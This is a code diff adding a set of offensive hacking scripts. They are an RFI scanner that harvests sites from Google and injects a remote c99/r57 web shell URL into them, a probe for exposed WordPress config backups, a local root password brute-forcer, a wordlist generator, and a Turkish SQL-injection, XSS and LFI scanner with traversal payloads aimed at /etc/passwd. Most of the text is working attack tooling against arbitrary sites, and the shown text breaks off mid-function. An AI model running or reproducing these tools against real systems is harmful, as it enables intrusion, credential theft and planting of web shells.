+	print "\t   -v/-verbose : Verbose Mode\n"
+
+def StripTags(text):
+     finished = 0
+     while not finished:
+         finished = 1
+         start = text.find("<")
+         if start >= 0:
+             stop = text[start:].find(">")
+             if stop >= 0:
+                 text = text[:start] + text[start+stop+1:]
+                 finished = 0
+     return text
+	
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def geturls(query):
+	
+	counter =  10
+	urls = []
+	
+	while counter < int(sys.argv[3]):
+		url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
+		opener = urllib2.build_opener(url)
+		opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
+		data = opener.open(url).read()
+		hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data))
+		#Lets add sites found to a list if not already or a google site.
+		#We don't want to upset the people that got our list for us.
+		for x in hosts:
+			if x.find('www') != -1:
+				x = x[x.find('www'):]
+			if x not in urls and re.search("google", x) == None:
+				urls.append(x)
+		counter += 10
+	return urls
+
+def getvar(site):
+	
+	names = []
+	actions = []
+	print "\n","-"*45
+	print "[+] Searching:",site
+	try:
+		webpage = urllib2.urlopen(proto+"://"+site, port).read()
+		var = re.findall("\?[\w\.\-/]*\=",webpage)
+		if len(var) >=1:
+			var = list(sets.Set(var))
+		found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower())
+		found_action = list(sets.Set(found_action))
+		if len(found_action) >= 1:
+			for a in found_action:
+				a = a.split('"',2)[1]
+				try:
+					if a[0] != "/":
+						a = "/"+a
+				except(IndexError):
+						pass
+				actions.append(a)
+		found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower())
+		found_names = list(sets.Set(found_names))
+		for n in found_names:
+			names.append(n.split('"',2)[1])
+		print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)
+		print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names)))
+		if len(var) >= 1:
+			for v in var:
+				if site.count("/") >= 2:
+					for x in xrange(site.count("/")):
+						tester(site.rsplit('/',x+1)[0]+"/"+v+shell)
+				tester(site+"/"+v+shell)
+		
+		if len(names) >= 1:
+			for n in names:
+				if site.count("/") >= 2:
+					for x in xrange(site.count("/")):
+						tester(site.rsplit('/',x+1)[0]+"/"+"?"+n+"="+shell)
+				tester(site+"/"+"?"+n+"="+shell)
+		
+		if len(actions) != 0 and len(names) >= 1:
+			for a in actions:
+				for n in names:
+					if site.count("/") >= 2:
+						for x in xrange(site.count("/")):
+							tester(site.rsplit('/',x+1)[0]+a+"?"+n+"="+shell)
+					#tester(site.split("/")[0]+a+"?"+n+"="+shell)
+			
+		if len(actions) != 0 and len(var) >= 1:
+			for a in actions:
+				for v in var:
+					if site.count("/") >= 2:
+						for x in xrange(site.count("/")):
+							tester(site.rsplit('/',x+1)[0]+a+v+shell)
+					else:
+						tester(site.split("/")[0]+a+v+shell)	
+		if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
+			urls.remove(site)
+	
+	except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror, httplib.BadStatusLine):
+		if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
+			urls.remove(site)
+		pass
+	except(KeyboardInterrupt):
+		print "\n[-] Cancelled -",timer(),"\n"
+		sys.exit(1)
+			
+def tester(victim):
+	
+	if verbose ==1:
+		print "Target:",victim
+	try:
+		source = urllib2.urlopen(proto+"://"+victim, port).read()
+		h = httplib.HTTPConnection(victim.split('/')[0], int(port))
+		try:
+			h.request("GET", "/"+victim.split('/',1)[1])
+		except(IndexError):
+			h.request("GET", "/")
+		r1 = h.getresponse()
+		if verbose ==1:
+			print "\t[+] Response:",r1.status, r1.reason
+		if re.search(title, source) != None and r1.status not in range(303, 418):
+			if victim not in found_rfi:
+				print "\n[!] RFI:", victim
+				print "\t[+] Response:",r1.status, r1.reason
+				found_rfi.append(victim)
+	except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine, httplib.IncompleteRead, httplib.InvalidURL):
+		pass
+	except(KeyboardInterrupt):
+		print "\n[-] Cancelled -",timer(),"\n"
+		sys.exit(1)
+	except():
+		pass
+				
+if len(sys.argv) <= 3:
+	usage()
+	sys.exit(1)
+ 
+for arg in sys.argv[1:]:
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	if arg.lower() == "-w" or arg.lower() == "-write":
+		txt = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-s" or arg.lower() == "-shell":
+		shell = sys.argv[int(sys.argv[1:].index(arg))+2]
+		
+title()
+socket.setdefaulttimeout(3)
+found_rfi = []
+done = []
+count = 0
+proto = "http"
+print "\n[+] RFI_scan Loaded"
+try:
+	if verbose ==1:
+		print "[+] Verbose Mode On"
+except(NameError):
+	verbose = 0
+	print "[-] Verbose Mode Off"
+try:
+	source = urllib2.urlopen(shell).read()
+	title =  str(re.findall("<title>.*</title>",source)[0])
+	if title.find('c99shell') != -1:
+		title = "c99shell"
+	if title.find('r57') != -1:
+		title = "r57"
+except(IndexError), msg:
+	print msg
+	print "\n[-] Improper Shell Location in Path\n"
+	print "[-] Option: -s/-shell\n"
+	sys.exit(1)
+except(urllib2.HTTPError, urllib2.URLError), msg:
+	print "\n[-] Couldn't connect to shell?"
+	print "[-] Message:",msg,"\n"
+	sys.exit(1)
+print "[+] Shell:",shell
+if title != "c99shell" and title != "r57":
+	print "[+] Shell Title:",title.rsplit("</title>",1)[0].split("<title>",1)[1]
+else:
+	print "[+] Shell Title:",title
+try:
+	if txt:
+		print "[+] File:",txt
+except(NameError):
+	txt = None
+	pass
+
+if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":	
+	try:
+		if sys.argv[3].isdigit() == False:
+			print "\n[-] Argument [",sys.argv[3],"] must be a number.\n"
+			sys.exit(1)
+		else:
+			if int(sys.argv[3]) <= 10:
+				print "\n[-] Argument [",sys.argv[3],"] must be greater than 10.\n"
+				sys.exit(1)
+	except(IndexError):
+			print "\n[-] Need number of hosts to collect.\n"
+			sys.exit(1)
+	query = re.sub("\s","+",sys.argv[2])
+	port = "80"
+	print "[+] Query:",query
+	print "[+] Querying Google..."
+	urls = geturls(query)
+	print "[+] Collected:",len(urls),"hosts"
+	print "[+] Started:",timer()
+	print "\n[-] Cancel: Press Ctrl-C"
+	time.sleep(3)
+	while len(urls) > 0:
+		print "-"*45
+		print "\n[-] Length:",len(urls),"remain"
+		getvar(random.choice(urls))
+if sys.argv[1].lower() == "-t" or sys.argv[1].lower() == "-target":
+	site = sys.argv[2]
+	try:
+		if sys.argv[3].isdigit() == False:
+			port = "80"
+		else:
+			port = sys.argv[3]
+	except(IndexError):
+		port = "80"
+	print "[+] Site:",site
+	print "[+] Port:",port
+	if site[:7] == "http://":
+		site = site.replace("http://","")
+	if site[:8] == "https://":
+		proto = "https"
+		if port == "80":
+			print "[!] Using port 80 with https? (443)"
+		site = site.replace("https://","")
+	print "[+] Started:",timer()
+	print "\n[-] Cancel: Press Ctrl-C"
+	time.sleep(4)
+	getvar(site)
+
+print "-"*65
+print "\n\n[+] Potential RFI found:",len(found_rfi),"\n"
+time.sleep(3)
+if txt != None and len(found_rfi) >=1:
+	rfi_file = open(txt, "a")
+	rfi_file.writelines("\n\td3hydr8[at]gmail[dot]com RFI Scanner v1.0\n")
+	rfi_file.writelines("\t------------------------------------------\n\n")
+	print "[+] Writing Data:",txt
+else:
+	print "[-] No data written to disk"
+for k in found_rfi:
+	count+=1
+	if txt != None:
+		rfi_file.writelines("["+str(count)+"] "+k+"\n")
+		print "\n["+str(count)+"]",k
+print "\n[-] Done -",timer(),"\n"
+
diff --git a/3rdparty/robots.py b/3rdparty/robots.py
new file mode 100644
index 0000000..4e39f87
--- /dev/null
+++ b/3rdparty/robots.py
@@ -0,0 +1,22 @@
+import urllib2
+def robot():
+    
+    url = ["/robots.txt", "/readme.html", "/wp-config.php", "/wp-config.bak", "/wp-config.phpBak",
+           "/wp-config.phpBak", "/wp-config.save", "/wp-config.back", "/wp-config.old", "/wp-config.html", "/wp-config.txt"]
+    for i in url:
+        urls = i
+        n = urllib2.urlopen(site+i)
+        
+        if n.code ==200:
+            
+            print "[+]Found -->"+site+i
+        else:
+            pass
+   
+ 
+robot()
+    
+ 
+ 
+
+ 
diff --git a/3rdparty/rootbrute.py b/3rdparty/rootbrute.py
new file mode 100644
index 0000000..5e30391
--- /dev/null
+++ b/3rdparty/rootbrute.py
@@ -0,0 +1,48 @@
+#!/usr/bin/python 
+#Local Root BruteForcer 
+
+#More Info: http://forum.darkc0de.com/index.php?action=vthread&forum=8&topic=1571
+ 
+#http://www.darkc0de.com 
+#d3hydr8[at]gmail[dot]com 
+ 
+import sys 
+try: 
+	import pexpect 
+except(ImportError): 
+	print "\nYou need the pexpect module." 
+	print "http://www.noah.org/wiki/Pexpect\n" 
+	sys.exit(1) 
+ 
+#Change this if needed. 
+LOGIN_ERROR = 'su: incorrect password' 
+ 
+def brute(word): 
+	print "Trying:",word 
+	child = pexpect.spawn ('su') 
+	child.expect ('Password: ') 
+	child.sendline (word) 
+	i = child.expect (['.+\s#\s',LOGIN_ERROR]) 
+	if i  == 0: 
+		print "\n\t[!] Root Password:",word 
+		child.sendline ('whoami') 
+		print child.before 
+		child.interact() 
+	#if i == 1: 
+		#print "Incorrect Password" 
+ 
+if len(sys.argv) != 2: 
+	print "\nUsage : ./rootbrute.py <wordlist>" 
+	print "Eg: ./rootbrute.py words.txt\n" 
+	sys.exit(1) 
+ 
+try: 
+	words = open(sys.argv[1], "r").readlines() 
+except(IOError): 
+  	print "\nError: Check your wordlist path\n" 
+  	sys.exit(1) 
+ 
+print "\n[+] Loaded:",len(words),"words" 
+print "[+] BruteForcing...\n" 
+for word in words: 
+	brute(word.replace("\n",""))
\ No newline at end of file
diff --git a/3rdparty/rot13.py b/3rdparty/rot13.py
new file mode 100644
index 0000000..4590b7a
--- /dev/null
+++ b/3rdparty/rot13.py
@@ -0,0 +1,23 @@
+#!/usr/bin/python
+#Decodes/Encodes a file with ROT13 encryption.
+#d3hydr8[at]gmail[dot]com
+
+import sys, string
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./rot13.py <file>\n"
+	sys.exit(1)
+	
+file = sys.argv[1]
+try:
+	i = open(file, "r")
+except(IOError): 
+	print "Check your file path."
+	sys.exit(1)
+	
+table = string.maketrans(
+	'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM',
+	'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
+
+for x in i:
+	print string.translate(x, table)
\ No newline at end of file
diff --git a/3rdparty/rtgen.py b/3rdparty/rtgen.py
new file mode 100644
index 0000000..5ad7955
--- /dev/null
+++ b/3rdparty/rtgen.py
@@ -0,0 +1,30 @@
+#!/usr/bin/env python
+#Very Simple Wordlist Generator
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, time
+
+def write(w):
+	time.sleep(0.2) #Edit according to your system.
+	ofile.writelines(''.join(w)+"\n")
+	
+def main(first, start, second=[]):
+	if not start: return write(second)
+    	for i in range(len(first)):
+        	second.append(first.pop(i))
+        	main(first, start-1, second)
+        	first.insert(i, second.pop())
+
+if len(sys.argv) != 4:
+	print "\nUsage: ./rtgen.py <char_set> <length> <output file>\n"
+	sys.exit(1)
+print "\nCharSet:",sys.argv[1]
+print "Length:",sys.argv[2]
+print "Writing Output:",sys.argv[3]
+print "\nWorking..."
+ofile = open(sys.argv[3], "a")
+main(list(sys.argv[1]), int(sys.argv[2]))
+ofile.close()
+print "\nDone\n"
diff --git a/3rdparty/sc.py b/3rdparty/sc.py
new file mode 100644
index 0000000..b554fd8
--- /dev/null
+++ b/3rdparty/sc.py
@@ -0,0 +1,631 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+# 0x94 Scanner"
+#(POST/GET SQL SCAN) -LFI-XSS SCAN"
+#Sitedeki tum linkleri alir
+#seo linklerin ******** urllerini otomatik alir
+#tum linklerde get ve post sql injection dener
+#tum linklerde blind get ve post sql injection dener
+#sayfada herhangi bir degisme oldugunda degisme satirini ekrana yazar
+#xss dener
+#lfi dener
+#butun sonuclari rapor.txt ye kaydeder
+#sadece guvenlik testleri icin kullanin
+#cookie ve proxy destegide vardir.
+ 
+import urllib
+import urlparse
+import sys
+import re
+import urllib2
+from urllib import urlencode
+from urlparse import parse_qsl
+import httplib
+from string import maketrans
+import base64
+ 
+#cookie ayarlamak istiyorsan buraya gir
+sayfacookie=""
+ 
+from BeautifulSoup import BeautifulSoup
+ 
+class HTTPAYAR(urllib2.HTTPRedirectHandler):
+   
+    def http_error_302(self, req, fp, code, msg, headers):
+        yaz("URl Yonlenmesi Algilandi",True)
+        #yaz("URl Yonlenmesi Algilandi \n"+ str(headers),True)
+        return urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
+ 
+ 
+    http_error_301 = http_error_303 = http_error_307 = http_error_302
+   
+ 
+#Proxy icin bu satiri aktif etmelisiniz
+#opener = urllib2.build_opener(HTTPAYAR,urllib2.HTTPSHandler(),urllib2.ProxyHandler({'http': '127.0.0.1:8888'}),cookieprocessor)
+opener = urllib2.build_opener(HTTPAYAR,urllib2.HTTPSHandler(),urllib2.HTTPCookieProcessor())
+opener.addheaders = [
+        ('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13'),
+        ('Referer', 'http://www.google.com'),
+        ("Cookie", sayfacookie)]
+ 
+urllib2.install_opener(opener)
+aynilinkler={}
+ 
+def yaz(yazi,ekran):
+    dosya=open("rapor.txt","a+")
+    dosya.write(yazi+"\n")
+    dosya.close()
+    if ekran==True:
+        print yazi
+   
+   
+ 
+def formyaz(formurl):  
+ 
+    toplamveri={}  
+   
+    html = urllib2.urlopen(formurl).read()
+    soup = BeautifulSoup(html)  
+    try:
+        forms=soup.findAll("form")        
+        for form in forms:  
+            if form.has_key('action'):  
+                if form['action'].find('://') == -1:
+                        formurl=formurl + "/" + form['action'].strip('/')  
+                else:  
+                        yaz("action: " + formurl,False)
+            else:  
+                print "action: " + formurl     
+            if form.has_key('method') and form['method'].lower() == 'post':
+                    yaz("[POST] action " +formurl,False)
+                    for post_inputselect in form.findAll("select"):
+                            yaz(post_inputselect['name'], False)
+                            toplamveri[post_inputselect['name']]="bekir"       
+                   
+                    for post_input in form.findAll("input"):  
+                            if post_input.has_key('type'):  
+                                if post_input['type'].lower() == 'text' or post_input['type'].lower() == 'password' or   post_input['type'].lower() == 'hidden' or post_input['type'].lower() == 'radio':  
+                                        if post_input.has_key('id'):  
+                                                yaz( post_input['id'],False)
+                                                toplamveri[post_input['id']]="'a"
+                                        elif post_input.has_key('name'):
+                                            yaz(post_input['name'], False)
+                                            if post_input.has_key('value'):
+                                                toplamveri[post_input['name']]=post_input['value']
+                                            else:
+                                                toplamveri[post_input['name']]="bekir"
+   
+                                               
+                                               
+                   
+                    postget(formurl, toplamveri,"POST")
+                    blindpost(formurl, toplamveri,"POST")
+                       
+            if form.has_key('method') and form['method'].lower() == 'get' or not form.has_key('method'):  
+                yaz("[GET] action " +formurl,False)
+                for get_inputselect in form.findAll("select"):
+                    if get_inputselect.has_key("name"):
+                            yaz(get_inputselect['name'], False)
+                            toplamveri[get_inputselect['name']]="bekir"
+                           
+               
+                for get_input in form.findAll("input"):                        
+                        if get_input.has_key('type'):  
+                            if get_input['type'].lower() == 'text' or get_input['type'].lower() == 'password' or get_input['type'].lower() == 'hidden' or get_input['type'].lower() == 'radio':  
+                                    if get_input.has_key('id'):  
+                                            yaz(get_input['id'],False)
+                                            toplamveri[post_input['id']]="'a"
+                                    elif get_input.has_key('name'):
+                                            yaz(get_input['name'], False)
+                                            if get_input.has_key('value'):
+                                                toplamveri[get_input['name']]=get_input['value']
+                                            else:
+                                                toplamveri[get_input['name']]="bekir"
+                postget(formurl, toplamveri,"GET")
+                blindpost(formurl, toplamveri,"GET")
+    except:
+        print "Form Degerlerini Alirken Hata olustu"
+                                                       
+ 
+def blindpost(url,params,method):
+   
+    try:
+       
+        degisecekdict={}
+        for k,v in params.items():
+            #print k,v
+            degisecekdict[k]=v
+           
+       
+        params = urllib.urlencode(params)
+        if method=="GET":
+            yaz("Blind GET SQL testi yapiliyor",True)
+            y = urllib.urlopen(url+"?"+params)
+        else:
+            yaz("Blind POST SQL testi yapiliyor",True)
+            y = urllib2.urlopen(url, params)
+       
+    except urllib2.HTTPError,  e:
+        if(e.code==500):
+            yaz("Http 500 Dondu " +urlnormal,False)
+       
+    except urllib2.URLError,  e:
+        mesaj="Hata olustu , sebebi =  %s - %s \n" %(e.reason,urlnormal)
+                #yaz(mesaj)
+    except:
+        mesaj="Bilinmeyen hata oluştu\n"    
+ 
+   
+   
+   
+    post_string =  ["'aNd 1=1",
+                    "'aNd 1=2",
+                    "' aNd 1=MID((database()),1,1)>1",
+                    "' aNd 2=MID((@@version,1,1)--+",
+                    "' aNd 3=MID((@@version,1,1)--+",
+                    "' aNd 4=MID((@@version,1,1)--+",
+                    "' aNd 5=MID((@@version,1,1)--+"]  
+    ipatla=0
+    yenidict={}
+    while ipatla < 6:
+       
+        for postcode in post_string:       
+            for k,v in degisecekdict.items():
+                    yenidict[k]=v+postcode
+                    print k,v+postcode
+       
+               
+            try:
+                params = urllib.urlencode(yenidict)
+                ipatla=ipatla+1
+                if method=="GET":
+                    yaz("Blind GET SQL testi yapiliyor",True)
+                    f = urllib.urlopen(url+"?"+params)
+                else:
+                    yaz("Blind POST SQL testi yapiliyor",True)
+                    f = urllib2.urlopen(url, params)
+               
+            except urllib2.HTTPError,  e:
+                if(e.code==500):
+                    yaz("Http 500 Dondu " +url,False)
+               
+            except urllib2.URLError,  e:
+                mesaj="Hata olustu , sebebi =  %s - %s \n" %(e.reason,url)
+                        #yaz(mesaj)
+            except:
+                mesaj="Bilinmeyen hata oluştu\n"
+                        #yaz(mesaj)  
+           
+            if (comparePages(y.read(),f.read(),f.geturl())):
+                mesaj="[+] BLind POST Sayfada Degisiklik oldu %s !!![+]" % f.geturl()+"POST DATASI"+postcode
+               
+                yaz(mesaj,True)
+ 
+ 
+def postget(url, params, method):
+    try:
+        postgetdict={}
+        for k,v in params.items():
+            postgetdict[k]=v+"'a"
+           
+        params = urllib.urlencode(postgetdict)
+        if method=="GET":
+            yaz("GET SQL testi yapiliyor",True)
+            f = urllib.urlopen(url+"?"+params)
+        else:
+            yaz("POST SQL testi yapiliyor",True)
+            f = urllib2.urlopen(url, params)
+        sqlkontrol (f.read(),url+" [POST Sayfasi]")
+       
+    except urllib2.HTTPError,  e:
+        if(e.code==500):
+            yaz("Http 500 Dondu " +urlnormal,False)
+       
+    except urllib2.URLError,  e:
+        mesaj="Hata olustu , sebebi =  %s - %s \n" %(e.reason,urlnormal)
+                #yaz(mesaj)
+    except:
+        mesaj="Bilinmeyen hata oluştu\n"
+                #yaz(mesaj)      
+   
+ 
+ 
+def comparePages(page1,page2,deurl):
+    tmp1 = re.split("<[^>]+>",page1)
+    tmp2 = re.split("<[^>]+>",page2)
+    count1 = 0;
+    count2 = 0;
+   
+    for i in range(len(tmp1)):
+        if page2.find(tmp1[i]) < 0:
+            mesaj="Link %s  \n" % (deurl)
+            mesaj+="Degisik durum Satiri %s \n" % (tmp1[i])
+            yaz(mesaj+"\n",False)
+            count1+=1
+   
+    for i in range(len(tmp2)):
+        if page1.find(tmp2[i]) < 0:
+            count2+=1
+            #print max(count1, count2)
+    return max(count1, count2)
+ 
+ 
+def sqlkontrol(response,urlnormal):
+    print "SQL hata mesaji kontrol ediliyor"
+    if re.search("Microsoft OLE DB Provider for SQL Server",response,re.DOTALL):
+        mesaj= "%s MS-SQL Server error" %urlnormal
+        yaz(mesaj,True)
+    if re.search("\[Microsoft\]\[ODBC Microsoft Access Driver\] Syntax error",response,re.DOTALL):
+        mesaj= "%s MS-Access error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Microsoft OLE DB Provider for ODBC Drivers.*\[Microsoft\]\[ODBC SQL Server Driver\]",response,re.DOTALL):
+        mesaj= "%s MS-SQL Server error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Microsoft OLE DB Provider for ODBC Drivers.*\[Microsoft\]\[ODBC Access Driver\]",response,re.DOTALL):
+        mesaj= "%s MS-Access error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Microsoft JET Database Engine",response,re.DOTALL):
+        mesaj= "%s MS Jet database engine error"%urlnormal
+        yaz(mesaj,True)
+           
+    if re.search("ADODB.Command.*error",response,re.DOTALL):
+        mesaj= "%s ADODB Error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Microsoft VBScript runtime",response,re.DOTALL):
+        mesaj= "%s VBScript runtime error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Type mismatch",response,re.DOTALL):
+        mesaj= "%s VBScript / ASP error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Server Error.*System\.Data\.OleDb\.OleDbException",response,re.DOTALL):
+        mesaj= "%s ASP .NET OLEDB Exception"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Invalid SQL statement or JDBC",response,re.DOTALL):
+        mesaj= "%s Apache Tomcat JDBC error"%urlnormal
+        yaz(mesaj,True)
+       
+    if re.search("Warning: mysql_fetch_array",response,re.DOTALL):
+        mesaj= "%s MySQL Server error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Warning.*supplied argument is not a valid MySQL result",response,re.DOTALL):
+        mesaj= "%s MySQL Server error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("You have an error in your SQL syntax.*on line",response,re.DOTALL):
+        mesaj= "%s MySQL Server error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("You have an error in your SQL syntax.*at line",response,re.DOTALL):
+        mesaj= "%s MySQL Server error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Warning.*mysql_.*\(\)",response,re.DOTALL):
+        mesaj= "%s MySQL Server error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("ORA-[0-9][0-9][0-9][0-9]",response,re.DOTALL):
+        mesaj= "%s Oracle DB Server error"%urlnormal
+        yaz(mesaj,True)
+   
+    if re.search("DorisDuke error",response,re.DOTALL):
+        mesaj= "%s DorisDuke error\n"%urlnormal
+        yaz(mesaj,True)
+    if re.search("javax\.servlet\.ServletException",response,re.DOTALL):
+        mesaj= "%s Java Servlet error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("org\.apache\.jasper\.JasperException",response,re.DOTALL):
+        mesaj= "%s Apache Tomcat error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Warning.*failed to open stream",response,re.DOTALL):
+        mesaj= "%s PHP error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Fatal Error.*on line",response,re.DOTALL):
+        mesaj= "%s PHP error"%urlnormal
+        yaz(mesaj,True)
+    if re.search("Fatal Error.*at line",response,re.DOTALL):
+        mesaj= "%s PHP error"%urlnormal
+        yaz(mesaj,True)
+ 
+ 
+def xsstest(xsstesturl):
+ 
+    try:
+        yaz("XSS Test ediliyor ... ",True)
+        #urlnormal=lfiurl.replace("=", "=bekirburadaydi11111"+lfidizin)
+        urlac = urllib2.urlopen(xsstesturl+"bekirburadaydi11111")
+        response = urlac.read()
+        if "bekirburadaydi11111" in response:
+            yaz("XSS Test BULUNDU : " + xsstesturl+"bekirburadaydi11111",True)
+            xsstara(xsstesturl)
+                 
+    except urllib2.HTTPError,e:
+        if(e.code==500):
+            yaz("Http 500 Dondu " +xsstesturl,True)
+   
+    except urllib2.URLError,  e:
+        mesaj="Hata olustu , sebebi =  %s - %s \n" %(e.reason,xsstesturl)
+           #yaz(mesaj)
+    except:
+        mesaj="Bilinmeyen hata oluştu\n"          
+       
+ 
+def xsstara(xssurl):
+    try:
+        yaz("XSS Taraniyor ... ",True)
+        urlnormal=lfiurl.replace("=", "=bekirburadaydi11111")
+        urlac = urllib2.urlopen(urlnormal)
+        response = urlac.read()
+        if "bekirburadaydi11111" in response:
+            yaz("XSS BULUNDU : " + urlnormal,True)
+                   
+    except urllib2.HTTPError,  e:
+        if(e.code==500):
+            yaz("Http 500 Dondu " +urlnormal,True)
+   
+    except urllib2.URLError,  e:
+        mesaj="Hata olustu , sebebi =  %s - %s \n" %(e.reason,urlnormal)
+            #yaz(mesaj)
+    except:
+        mesaj="Bilinmeyen hata oluştu\n"    
+ 
+def lfitara(lfibul):
+   
+    lfiyollar=['/etc/passwd',
+        '../etc/passwd',
+        '../../etc/passwd',
+        '../../../etc/passwd',
+        '../../../../etc/passwd',
+        '../../../../../etc/passwd',
+        '../../../../../../etc/passwd',
+        '../../../../../../../etc/passwd',
+        '../../../../../../../../etc/passwd',
+        '../../../../../../../../../etc/passwd',
+        '../../../../../../../../../../etc/passwd',
+        '../../../../../../../../../../../etc/passwd',
+        '../etc/passwd%00',
+        '../../etc/passwd%00',
+        '../../../etc/passwd%00',
+        '../../../../etc/passwd%00',
+        '../../../../../etc/passwd%00',
+        '../../../../../../etc/passwd%00',
+        '../../../../../../../etc/passwd%00',
+        '../../../../../../../../etc/passwd%00',
+        '../../../../../../../../../etc/passwd%00',
+        '../../../../../../../../../../etc/passwd%00',
+        '../../../../../../../../../../../etc/passwd%00',
+        'boot.ini%00',
+        '.../boot.ini%00',
+        '../../boot.ini%00',
+        '../../../boot.ini%00',
+        '../../../../boot.ini%00',
+        '../../../../../boot.ini%00',
+        '../../../../../../boot.ini%00',
+        '../../../../../../../boot.ini%00',
+        '../../../../../../../../boot.ini%00',
+        '../../../../../../../../../boot.ini%00',
+        '../../../../../../../../../../boot.ini%00',
+        '../../../../../../../../../../../boot.ini%00',
+        'boot.ini',
+        '.../boot.ini',
+        '../../boot.ini',
+        '../../../boot.ini',
+        '../../../../boot.ini',
+        '../../../../../boot.ini',
+        '../../../../../../boot.ini',
+        '../../../../../../../boot.ini',
+        '../../../../../../../../boot.ini',
+        '../../../../../../../../../boot.ini',
+        '../../../../../../../../../../boot.ini',
+        '../../../../../../../../../../../boot.ini'        
+       
+        ]
+       
+    try:
+        for lfidizin in lfiyollar:
+            yaz("LFi Taraniyor ... ",True)
+            urlnormal=lfiurl.replace("=", "="+lfidizin)
+            urlac = urllib2.urlopen(urlnormal)
+            response = urlac.read()
+            if "root:x:" in response or "noexecute=optout" in response:
+                yaz("LFI BULUNDU : " + urlnormal,True)
+               
+    except urllib2.HTTPError,  e:
+        if(e.code==500):
+            yaz("Http 500 Dondu " +urlnormal,True)
+   
+    except urllib2.URLError,  e:
+        mesaj="Hata olustu , sebebi =  %s - %s \n" %(e.reason,urlnormal)
+            #yaz(mesaj)
+    except:
+        mesaj="Bilinmeyen hata oluştu\n"
+                #yaz(mesaj)      
+   
+ 
+def lfitest(lfiurl):
+   
+    try:
+        yaz("LFI Test Yapiliyor ... ",True)    
+        urlnormal=lfiurl.replace("=", "=bekirburadaydi.txt")
+        urlac = urllib2.urlopen(urlnormal)
+        response = urlac.read()
+        if "failed to open stream" in response:
+            yaz("LFI Testi BULUNDU : " + urlnormal,True)
+            lfitara(lfiurl)
+               
+    except urllib2.HTTPError,  e:
+        if(e.code==500):
+            yaz("Http 500 Dondu " +urlnormal,True)
+   
+    except urllib2.URLError,  e:
+        mesaj="Hata olustu , sebebi =  %s - %s \n" %(e.reason,urlnormal)
+            #yaz(mesaj)
+    except:
+        mesaj="Bilinmeyen hata oluştu\n"
+            #yaz(mesaj)      
+ 
+   
+   
+   
+ 
+def sql(urlnormal):
+    try:
+        yaz("SQL Test Taraniyor ... ",True)
+        urlnormal=urlnormal.replace("=", "='")
+        urlac = urllib2.urlopen(urlnormal)
+        response = urlac.read()
+        sqlkontrol(response,urlnormal)
+       
+    except urllib2.HTTPError,  e:
+        if(e.code==500):
+            yaz("Http 500 Dondu " +urlnormal,True)
+ 
+    except urllib2.URLError,  e:
+        mesaj="Hata olustu , sebebi =  %s - %s \n" %(e.reason,urlnormal)
+        #yaz(mesaj)
+    except:
+        mesaj="Bilinmeyen hata oluştu\n"
+        #yaz(mesaj)  
+       
+ 
+def blind(urlblind):
+   
+ 
+    linknormal = urllib2.urlopen(urlblind)
+    normalkaynak=linknormal.read()
+ 
+    yaz("Blind Taraniyor ... ",True)
+    true_strings = [" and 1=1"," ' and 1=1"," and 'a'='a","' and 'a'='a","' and 'a'='a"," and 1 like 1"," and 1 like 1/*"," and 1=1--"]          
+    false_strings =[" and 1=2"," ' and 1=2"," and 'a'='b","' and 'a'='b","' and 'a'='b"," and 1 like 2"," and 1 like 2/*"," and 1=2--"]
+    i = 0
+    while i < 6:    
+        blindtrue = urlblind + urlencode(parse_qsl(true_strings[i]))
+        yaz("Denenen Blind : "+true_strings[i],True)
+        try:
+            req1 = urllib2.Request(blindtrue.replace("&",urlencode(parse_qsl(true_strings[i])) +"&").replace(" ", "%20"))
+            req1.add_header('UserAgent: ','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)')
+            req1.add_header('Keep-Alive: ','115')
+            req1.add_header('Referer: ','http://'+urlblind)
+            response1 = urllib2.urlopen(req1)
+            html1 = response1.read()
+           
+        except urllib2.HTTPError,e:
+            if(e.code==500):
+                yaz("Http 500 Dondu " +urlblind,True)
+        except urllib2.URLError,e:
+            mesaj="Hata olustu , sebebi =  %s - %s \n" %(e.reason,urlblind)
+            #yaz(mesaj)
+       
+        except:
+            mesaj="Bilinmeyen hata oluştu\n"
+            #yaz(mesaj)
+           
+        blindfalse = urlblind + urlencode(parse_qsl(false_strings[i]))
